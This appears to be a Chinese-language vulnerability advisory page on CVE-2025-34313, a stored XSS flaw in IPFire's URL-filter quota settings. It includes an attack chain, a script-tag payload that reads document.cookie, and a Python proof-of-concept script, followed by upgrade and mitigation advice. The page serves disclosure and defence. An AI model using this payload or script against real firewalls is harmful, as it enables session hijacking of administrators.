IPBUF安全漏洞报告
English
CVE-2025-34313 CVSS 5.4 中危

CVE-2025-34313 IPFire QUOTA_USERS参数存储型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-34313
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
IPFire

相关标签

存储型XSSIPFireCVE-2025-34313跨站脚本防火墙QUOTA_USERSurlfilter.cgiCore Update 198认证用户Web应用安全

漏洞概述

IPFire是一款开源的Linux防火墙发行版。CVE-2025-34313是IPFire 2.29(Core Update 198)之前版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web界面在处理用户配额规则时,对QUOTA_USERS参数的用户输入缺乏适当的输入验证和输出编码。攻击者作为低权限认证用户,可以通过在创建用户配额规则时在QUOTA_USERS参数中注入任意JavaScript代码。恶意脚本会被永久存储在系统中,当其他用户查看受影响的配额条目时,注入的脚本会在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的攻击。漏洞利用需要用户交互,即其他用户需要访问或查看触发漏洞的配额配置页面。由于攻击者需要先获取IPFire系统的认证资格,因此该漏洞的利用难度相对较高,但仍对系统安全性构成威胁。

技术细节

漏洞存在于IPFire的URL过滤功能模块(urlfilter.cgi)中,具体位于用户配额规则的处理逻辑。当管理员或用户通过Web界面添加新的用户配额规则时,应用程序向/cgi-bin/urlfilter.cgi端点发送HTTP POST请求,其中MODE参数设置为USERQUOTA,而QUOTA_USERS参数用于指定应用配额的用户列表。问题在于,QUOTA_USERS参数的值在接收后直接存储到数据库或配置文件中,随后在Web界面中渲染显示时未经过充分的输入清理或输出编码。攻击者可以构造包含恶意JavaScript代码的QUOTA_USERS值,例如使用<script>标签或事件处理器属性(如onerror、onload等)。由于该值被永久存储,任何查看配额规则列表的用户都会触发脚本执行。攻击者可利用此漏洞窃取受害者的认证Cookie、进行钓鱼攻击或执行其他客户端操作。修复版本IPFire 2.29 (Core Update 198)增加了对用户输入的正确验证和编码处理。

攻击链分析

STEP 1
步骤1
攻击者获取IPFire系统的有效认证凭据(低权限用户账户即可)
STEP 2
步骤2
攻击者构造恶意请求,访问/cgi-bin/urlfilter.cgi端点,MODE参数设为USERQUOTA
STEP 3
步骤3
在QUOTA_USERS参数中注入包含恶意JavaScript代码的XSS payload,如<script>alert(document.cookie)</script>
STEP 4
步骤4
应用程序将攻击者提供的QUOTA_USERS值未经消毒直接存储到数据库或配置文件
STEP 5
步骤5
当其他用户(如管理员)访问配额规则页面时,存储的恶意脚本被浏览器解析执行
STEP 6
步骤6
攻击者通过XSS成功窃取受害者Cookie、会话令牌或执行其他恶意客户端操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-34313 PoC - IPFire Stored XSS via QUOTA_USERS Parameter # Target: IPFire < 2.29 (Core Update 198) # Author: VulnCheck ([email protected]) TARGET_URL = "http://target-ipfire.local/cgi-bin/urlfilter.cgi" USERNAME = "attacker" PASSWORD = "attacker_password" # XSS payload - executes alert when viewed XSS_PAYLOAD = '<script>alert(document.cookie)</script>' def exploit(): """Exploit stored XSS in QUOTA_USERS parameter""" # Step 1: Authenticate to IPFire session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Step 2: Create user quota rule with XSS payload quota_data = { 'MODE': 'USERQUOTA', 'QUOTA_USERS': XSS_PAYLOAD, 'QUOTA_LIMIT': '1000', 'ACTION': 'SAVE' } response = session.post(TARGET_URL, data=quota_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print("[*] Payload stored in QUOTA_USERS parameter") print("[*] Any user viewing quota rules will trigger the XSS") else: print("[-] Exploitation failed") def verify(): """Verify XSS is stored and reflected without encoding""" session = requests.Session() # Access quota rules page response = session.get(TARGET_URL + "?MODE=USERQUOTA") if XSS_PAYLOAD in response.text: print("[+] XSS confirmed - payload reflected without encoding") else: print("[-] XSS not found - may have been patched") if __name__ == "__main__": exploit() verify()

影响范围

IPFire < 2.29 (Core Update 198)

防御指南

临时缓解措施
立即将IPFire升级到2.29 Core Update 198或更高版本以获得官方修复。在无法立即更新的情况下,可通过禁用URL过滤模块的用户配额功能来临时缓解风险,同时应限制Web管理界面的访问范围,仅允许受信任的管理员访问,并启用Web应用的详细日志记录以便及时发现异常请求模式。对于必须暴露在互联网的IPFire设备,建议通过VPN或IP白名单限制管理后台的访问来源。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表